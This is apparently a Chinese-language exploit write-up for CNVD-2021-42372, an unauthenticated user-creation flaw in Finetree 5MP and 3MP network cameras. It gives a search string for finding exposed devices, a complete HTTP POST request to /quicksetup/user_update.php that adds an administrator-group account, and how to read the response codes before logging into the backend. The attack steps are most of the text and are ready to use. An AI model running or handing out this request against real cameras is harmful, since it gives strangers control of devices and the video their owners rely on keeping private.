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Finetree 5MP 摄像机 user_pop.php 任意用户添加漏洞 CNVD-2021-42372

漏洞描述

Finetree 5MP 摄像机 user_pop.php文件存在未授权任意用户添加,攻击者添加后可以获取后台权限

漏洞影响

Finetree 5MP

Finetree 3MP

网络测绘

app="Finetree-5MP-Network-Camera"

漏洞复现

登录页面

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存在漏洞的文件 user_pop.php

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POST /quicksetup/user_update.php HTTP/1.1
Host: 
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=fn4qnpv5c8a2jgvf53vs1gufm6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36

method=add&user=admin1234&pwd=admin1234&group=2&ptz_enable=0

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返回200即为添加成功,返回804则为用户重复,利用添加的账户就可以登录后台了

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